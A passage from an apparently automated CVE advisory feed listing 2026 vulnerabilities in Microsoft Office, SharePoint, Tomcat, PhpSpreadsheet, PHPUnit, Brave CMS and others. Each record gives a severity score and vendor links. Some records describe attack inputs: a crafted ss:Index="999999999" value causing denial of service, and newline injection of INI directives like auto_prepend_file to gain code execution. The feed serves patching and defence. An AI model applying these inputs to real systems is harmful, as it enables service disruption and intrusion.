Access of resource using incompatible type ('type confusion') in Microsoft Office Word allows an unauthorized attacker to execute code locally.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-40368
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network. (May 12, 2026).
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
CVSS 8.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40368).
Sources:
NVD CVE-2026-40368: https://nvd.nist.gov/vuln/detail/CVE-2026-40368
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40368
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### External control of file name or path in SQL Server allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-40370
External control of file name or path in SQL Server allows an authorized attacker to execute code over a network. (May 12, 2026).
External control of file name or path in SQL Server allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40370).
Sources:
NVD CVE-2026-40370: https://nvd.nist.gov/vuln/detail/CVE-2026-40370
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40370
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
External control of file name or path in SQL Server allows an authorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Exposure of sensitive information to an unauthorized actor in Azure Entra ID allows an unauthorized attacker to perform spoofing over a network.
https://kevwire.com/record/CVE-2026-40379
Exposure of sensitive information to an unauthorized actor in Azure Entra ID allows an unauthorized attacker to perform spoofing over a network. (May 12, 2026).
Exposure of sensitive information to an unauthorized actor in Azure Entra ID allows an unauthorized attacker to perform spoofing over a network.
CVSS 9.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40379).
Sources:
NVD CVE-2026-40379: https://nvd.nist.gov/vuln/detail/CVE-2026-40379
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40379
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Exposure of sensitive information to an unauthorized actor in Azure Entra ID allows an unauthorized attacker to perform spoofing over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper access control in Azure Connected Machine Agent allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-40381
Improper access control in Azure Connected Machine Agent allows an authorized attacker to elevate privileges locally. (May 12, 2026).
Improper access control in Azure Connected Machine Agent allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40381).
Sources:
NVD CVE-2026-40381: https://nvd.nist.gov/vuln/detail/CVE-2026-40381
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40381
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Improper access control in Azure Connected Machine Agent allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-40418
Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally. (May 12, 2026).
Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40418).
Sources:
NVD CVE-2026-40418: https://nvd.nist.gov/vuln/detail/CVE-2026-40418
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40418
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-40419
Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally. (May 12, 2026).
Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40419).
Sources:
NVD CVE-2026-40419: https://nvd.nist.gov/vuln/detail/CVE-2026-40419
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40419
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-40420
Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally. (May 12, 2026).
Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40420).
Sources:
NVD CVE-2026-40420: https://nvd.nist.gov/vuln/detail/CVE-2026-40420
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40420
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Use after free in Microsoft Office allows an authorized attacker to elevate privileges locally.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dell ECS versions 3.8.1.0 through 3.8.1.7 and Dell ObjectScale versions prior to 4.3.0.0, contains a use of hard-coded credentials vulnerability.
https://kevwire.com/record/CVE-2026-40636
Dell ECS versions 3.8.1.0 through 3.8.1.7 and Dell ObjectScale versions prior to 4.3.0.0, contains a use of hard-coded credentials vulnerability. (May 11, 2026).
Dell ECS versions 3.8.1.0 through 3.8.1.7 and Dell ObjectScale versions prior to 4.3.0.0, contains a use of hard-coded credentials vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to filesystem access for attacker.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40636).
Sources:
NVD CVE-2026-40636: https://nvd.nist.gov/vuln/detail/CVE-2026-40636
Vendor advisory (via NVD references): https://www.dell.com/support/kbdoc/en-us/000462117/dsa-2026-047-security-update-for-dell-ecs-and-objectscale-multiple-vulnerabilities-1
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Dell ECS versions 3.8.1.0 through 3.8.1.7 and Dell ObjectScale versions prior to 4.3.0.0, contains a use of hard-coded credentials vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to filesystem access for attacker.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files.
https://kevwire.com/record/CVE-2026-40863
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. (May 12, 2026).
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0, the SpreadsheetML XML reader (Reader\Xml) does not validate the ss:Index row attribute against the maximum allowed row count (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a SpreadsheetML XML file with ss:Index="999999999" on a <Row> element, which inflates the internal cachedHighestRow to ~1 billion. Any subsequent call to getRowIterator() without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service. This vulnerability is fixed in 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40863).
Sources:
NVD CVE-2026-40863: https://nvd.nist.gov/vuln/detail/CVE-2026-40863
Vendor advisory (via NVD references): https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-84wq-86v6-x5j6
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0, the SpreadsheetML XML reader (Reader\Xml) does not validate the ss:Index row attribute against the maximum allowed row count (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a SpreadsheetML XML file with ss:Index="999999999" on a <Row> element, which inflates the internal cachedHighestRow to ~1 billion. Any subsequent call to getRowIterator() without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service. This vulnerability is fixed in 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### openvpn-auth-oauth2 is a plugin/management interface client for OpenVPN server to handle an OIDC based single sign-on (SSO) auth flows.
https://kevwire.com/record/CVE-2026-41070
openvpn-auth-oauth2 is a plugin/management interface client for OpenVPN server to handle an OIDC based single sign-on (SSO) auth flows. (May 8, 2026).
openvpn-auth-oauth2 is a plugin/management interface client for OpenVPN server to handle an OIDC based single sign-on (SSO) auth flows. From version 1.26.3 to before version 1.27.3, when openvpn-auth-oauth2 is deployed in the experimental plugin mode (shared library loaded by OpenVPN via the plugin directive), clients that do not support WebAuth/SSO (e.g., the openvpn CLI on Linux) are incorrectly admitted to the VPN despite being denied by the authentication logic. The default management-interface mode is not affected because it does not use the OpenVPN plugin return-code mechanism. This issue has been patched in version 1.27.3.
CVSS 10.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41070).
Sources:
NVD CVE-2026-41070: https://nvd.nist.gov/vuln/detail/CVE-2026-41070
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
openvpn-auth-oauth2 is a plugin/management interface client for OpenVPN server to handle an OIDC based single sign-on (SSO) auth flows. From version 1.26.3 to before version 1.27.3, when openvpn-auth-oauth2 is deployed in the experimental plugin mode (shared library loaded by OpenVPN via the plugin directive), clients that do not support WebAuth/SSO (e.g., the openvpn CLI on Linux) are incorrectly admitted to the VPN despite being denied by the authentication logic. The default management-interface mode is not affected because it does not use the OpenVPN plugin return-code mechanism. This issue has been patched in version 1.27.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Windows Netlogon allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-41089
Stack-based buffer overflow in Windows Netlogon allows an unauthorized attacker to execute code over a network. (May 12, 2026).
Stack-based buffer overflow in Windows Netlogon allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41089).
Sources:
NVD CVE-2026-41089: https://nvd.nist.gov/vuln/detail/CVE-2026-41089
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Stack-based buffer overflow in Windows Netlogon allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper control of generation of code ('code injection') in Microsoft Data Formulator allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-41094
Improper control of generation of code ('code injection') in Microsoft Data Formulator allows an unauthorized attacker to execute code over a network. (May 12, 2026).
Improper control of generation of code ('code injection') in Microsoft Data Formulator allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41094).
Sources:
NVD CVE-2026-41094: https://nvd.nist.gov/vuln/detail/CVE-2026-41094
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41094
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Improper control of generation of code ('code injection') in Microsoft Data Formulator allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Data Deduplication allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-41095
Use after free in Data Deduplication allows an authorized attacker to elevate privileges locally. (May 12, 2026).
Use after free in Data Deduplication allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41095).
Sources:
NVD CVE-2026-41095: https://nvd.nist.gov/vuln/detail/CVE-2026-41095
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41095
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Use after free in Data Deduplication allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper access control in Microsoft Office Word allows an authorized attacker to perform spoofing locally.
https://kevwire.com/record/CVE-2026-41101
Improper access control in Microsoft Office Word allows an authorized attacker to perform spoofing locally. (May 12, 2026).
Improper access control in Microsoft Office Word allows an authorized attacker to perform spoofing locally.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41101).
Sources:
NVD CVE-2026-41101: https://nvd.nist.gov/vuln/detail/CVE-2026-41101
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41101
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Improper access control in Microsoft Office Word allows an authorized attacker to perform spoofing locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper access control in Microsoft Office PowerPoint allows an authorized attacker to perform spoofing locally.
https://kevwire.com/record/CVE-2026-41102
Improper access control in Microsoft Office PowerPoint allows an authorized attacker to perform spoofing locally. (May 12, 2026).
Improper access control in Microsoft Office PowerPoint allows an authorized attacker to perform spoofing locally.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41102).
Sources:
NVD CVE-2026-41102: https://nvd.nist.gov/vuln/detail/CVE-2026-41102
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41102
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Improper access control in Microsoft Office PowerPoint allows an authorized attacker to perform spoofing locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect implementation of authentication algorithm in Microsoft SSO Plugin for Jira &amp; Confluence allows an unauthorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-41103
Incorrect implementation of authentication algorithm in Microsoft SSO Plugin for Jira &amp; Confluence allows an unauthorized attacker to elevate privileges over a network. (May 12, 2026).
Incorrect implementation of authentication algorithm in Microsoft SSO Plugin for Jira &amp; Confluence allows an unauthorized attacker to elevate privileges over a network.
CVSS 9.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41103).
Sources:
NVD CVE-2026-41103: https://nvd.nist.gov/vuln/detail/CVE-2026-41103
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41103
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Incorrect implementation of authentication algorithm in Microsoft SSO Plugin for Jira &amp; Confluence allows an unauthorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of special elements in output used by a downstream component ('injection') in GitHub Copilot and Visual Studio allows an unauthorized attacker to bypass a...
https://kevwire.com/record/CVE-2026-41109
Improper neutralization of special elements in output used by a downstream component ('injection') in GitHub Copilot and Visual Studio allows an unauthorized attacker to bypass a... (May 12, 2026).
Improper neutralization of special elements in output used by a downstream component ('injection') in GitHub Copilot and Visual Studio allows an unauthorized attacker to bypass a security feature over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41109).
Sources:
NVD CVE-2026-41109: https://nvd.nist.gov/vuln/detail/CVE-2026-41109
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Improper neutralization of special elements in output used by a downstream component ('injection') in GitHub Copilot and Visual Studio allows an unauthorized attacker to bypass a security feature over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Allocation of Resources Without Limits or Throttling vulnerability in Apache Tomcat.
https://kevwire.com/record/CVE-2026-41284
Allocation of Resources Without Limits or Throttling vulnerability in Apache Tomcat. (May 12, 2026).
Allocation of Resources Without Limits or Throttling vulnerability in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117.
Older, unsupported versions may also be affected.

Users are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41284).
Sources:
NVD CVE-2026-41284: https://nvd.nist.gov/vuln/detail/CVE-2026-41284
Vendor advisory (via NVD references): https://lists.apache.org/thread/2nvqjr7ovjmvx2vbhb7s61ycd5msc8qc
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Allocation of Resources Without Limits or Throttling vulnerability in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117.
Older, unsupported versions may also be affected.

Users are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Input Validation vulnerability in Apache Tomcat.
https://kevwire.com/record/CVE-2026-41293
Improper Input Validation vulnerability in Apache Tomcat. (May 12, 2026).
Improper Input Validation vulnerability in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 10.0.0-M1 through 10.0.27.
Older, end of support versions may also be affected.

Users are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41293).
Sources:
NVD CVE-2026-41293: https://nvd.nist.gov/vuln/detail/CVE-2026-41293
Vendor advisory (via NVD references): https://lists.apache.org/thread/qwg0q16z7xkb2qrr853wdll5531mvl1r
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Improper Input Validation vulnerability in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 10.0.0-M1 through 10.0.27.
Older, end of support versions may also be affected.

Users are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Zen is a firefox-based browser.
https://kevwire.com/record/CVE-2026-41431
Zen is a firefox-based browser. (May 11, 2026).
Zen is a firefox-based browser. Prior to 1.19.9b, Zen Browser ships a Mozilla Application Resource (MAR) updater (org.mozilla.updater) that has had all MAR signature verification stripped from the Firefox codebase it was forked from. The MAR files served to users contain zero cryptographic signatures, and the updater binary contains zero cryptographic verification code. This eliminates the defense-in-depth that MAR signing provides. If the update server or GitHub release pipeline is compromised, arbitrary unsigned code can be delivered to all Zen users via the auto-update mechanism. This vulnerability is fixed in 1.19.9b.
CVSS 8.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41431).
Sources:
NVD CVE-2026-41431: https://nvd.nist.gov/vuln/detail/CVE-2026-41431
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Zen is a firefox-based browser. Prior to 1.19.9b, Zen Browser ships a Mozilla Application Resource (MAR) updater (org.mozilla.updater) that has had all MAR signature verification stripped from the Firefox codebase it was forked from. The MAR files served to users contain zero cryptographic signatures, and the updater binary contains zero cryptographic verification code. This eliminates the defense-in-depth that MAR signing provides. If the update server or GitHub release pipeline is compromised, arbitrary unsigned code can be delivered to all Zen users via the auto-update mechanism. This vulnerability is fixed in 1.19.9b.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system.
https://kevwire.com/record/CVE-2026-41432
New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. (May 8, 2026).
New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. Prior to version 0.12.10, a vulnerability exists in the Stripe webhook handler that allows an unauthenticated attacker to forge webhook events and credit arbitrary quota to their account without making any payment. This issue has been patched in version 0.12.10.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41432).
Sources:
NVD CVE-2026-41432: https://nvd.nist.gov/vuln/detail/CVE-2026-41432
Vendor advisory (via NVD references): https://github.com/QuantumNous/new-api/security/advisories/GHSA-xff3-5c9p-2mr4
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. Prior to version 0.12.10, a vulnerability exists in the Stripe webhook handler that allows an unauthenticated attacker to forge webhook events and credit arbitrary quota to their account without making any payment. This issue has been patched in version 0.12.10.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Brave CMS is an open-source CMS.
https://kevwire.com/record/CVE-2026-41524
Brave CMS is an open-source CMS. (May 8, 2026).
Brave CMS is an open-source CMS. Prior to commit 6c56603, page and article body content entered through the CKEditor rich-text editor is stored verbatim in the database and subsequently rendered with Laravel Blade's unescaped output directive {!! !!}. Any JavaScript or HTML injected by an editor-role user is permanently stored and executed in every visitor's browser upon page load. This issue has been patched via commit 6c56603.
CVSS 8.7 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41524).
Sources:
NVD CVE-2026-41524: https://nvd.nist.gov/vuln/detail/CVE-2026-41524
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Brave CMS is an open-source CMS. Prior to commit 6c56603, page and article body content entered through the CKEditor rich-text editor is stored verbatim in the database and subsequently rendered with Laravel Blade's unescaped output directive {!! !!}. Any JavaScript or HTML injected by an editor-role user is permanently stored and executed in every visitor's browser upon page load. This issue has been patched via commit 6c56603.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PHPUnit is a testing framework for PHP.
https://kevwire.com/record/CVE-2026-41570
PHPUnit is a testing framework for PHP. (May 8, 2026).
PHPUnit is a testing framework for PHP. In versions 12.5.21 and 13.1.5, PHPUnit forwards PHP INI settings to child processes (used for isolated/PHPT test execution) as -d name=value command-line arguments without neutralizing INI metacharacters. Because PHP's INI parser interprets " as a string delimiter, ; as the start of a comment, and most importantly a newline as a directive separator, a value containing a newline is parsed by the child process as multiple INI directives. An attacker able to influence a single INI value can therefore inject arbitrary additional directives into the child's configuration, including auto_prepend_file, extension, disable_functions, open_basedir, and others. Setting auto_prepend_file to an attacker-controlled path yields remote code execution in the child process. This issue has been patched in versions 12.5.22 and 13.1.6.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41570).
Sources:
NVD CVE-2026-41570: https://nvd.nist.gov/vuln/detail/CVE-2026-41570
Vendor advisory (via NVD references): https://github.com/sebastianbergmann/phpunit/security/advisories/GHSA-qrr6-mg7r-m243
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
